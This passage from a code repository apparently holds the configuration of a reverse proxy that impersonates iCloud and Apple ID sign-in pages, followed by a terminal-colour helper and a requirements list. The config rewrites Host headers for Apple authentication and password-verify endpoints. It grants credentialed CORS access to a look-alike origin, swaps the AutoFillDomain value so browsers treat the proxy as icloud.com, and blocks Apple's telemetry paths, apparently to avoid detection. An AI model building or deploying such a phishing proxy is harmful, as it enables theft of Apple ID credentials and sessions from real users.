39 | ['reportStats', {'Host':'feedbackws.icloud.com'}], 40 | ['setup/ws/1/', {'Host':'setup.icloud.com'}], 41 | ['/authService.latest.min.js', {'Host':'appleid.cdn-apple.com'}], 42 | ['appleauth/static', {'Host':'appleid.cdn-apple.com'}], 43 | ['ck/2', {'Host':'cdn.apple-cloudkit.com'}], 44 | ['/ac/', {'Host':'www.apple.com'}], 45 | ['wss/fonts', {'Host':'www.apple.com'}], 46 | ['password/verify', {'Host':'iforgot.apple.com'}], 47 | # ['static/cssj', {'Host':'iforgot.apple.com'}], 48 | # ['static/jsj', {'Host':'iforgot.apple.com'}], 49 | # ['images/global', {'Host':'iforgot.apple.com'}], 50 | ] 51 | 52 | resp_headers = [ 53 | ['etup/ws/1/validate', {'Access-Control-Allow-Origin': 'https://www.ilocal.dd', 'Access-Control-Allow-Credentials': 'true'}], 54 | ['', {'Accept-Encoding':'gzip, deflate'}], 55 | ] 56 | 57 | req_body = [ 58 | ] 59 | 60 | resp_body = [ 61 | # # ['', 'https', 'http'] 62 | ['', '', '*.icloud-content.com">-->'], 64 | ['', 'AutoFillDomain="'+domain, 'AutoFillDomain="icloud.com'], 65 | ['', '"use strict";', ''], 66 | ] 67 | 68 | block_paths = [ 69 | '/reportStats', 70 | '/reportRaw', 71 | '/jslog', 72 | ] 73 | 74 | get_cookie = [ 75 | ] 76 | -------------------------------------------------------------------------------- /helper.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | 3 | import subprocess as p 4 | import time 5 | 6 | RESET = "\033[0m" 7 | RED = "\033[31m" 8 | GREEN = "\033[32m" 9 | LIGHTGREEN = "\033[38;5;106m" 10 | YELLOW = "\033[33m" 11 | BLUE = "\033[34m" 12 | PURPLE = "\033[35m" 13 | CYAN = "\033[36m" 14 | WHITE = "\033[37m" 15 | BGBLACK = "\033[40m" 16 | BGYELLOW = "\033[43m" 17 | BGGREEN = "\033[48;5;64m" 18 | BGORANGE = "\033[48;5;202m" 19 | BGBLUE = "\033[48;5;26m" 20 | BOLD = "\033[1m" 21 | UNDERLINE = "\033[4m" 22 | BLINK = "\033[5m" 23 | CLEAR = "\033[2J\033[H" 24 | 25 | def cwin(): 26 | try: 27 | p.Popen('',shell=True) 28 | time.sleep(0.03) 29 | print(CLEAR) 30 | except Exception as e: 31 | print(e) 32 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | 2 | httplib2==0.14.0 3 | requests==2.22.0 4 | urllib3==1.25.8 5 | 6 | --------------------------------------------------------------------------------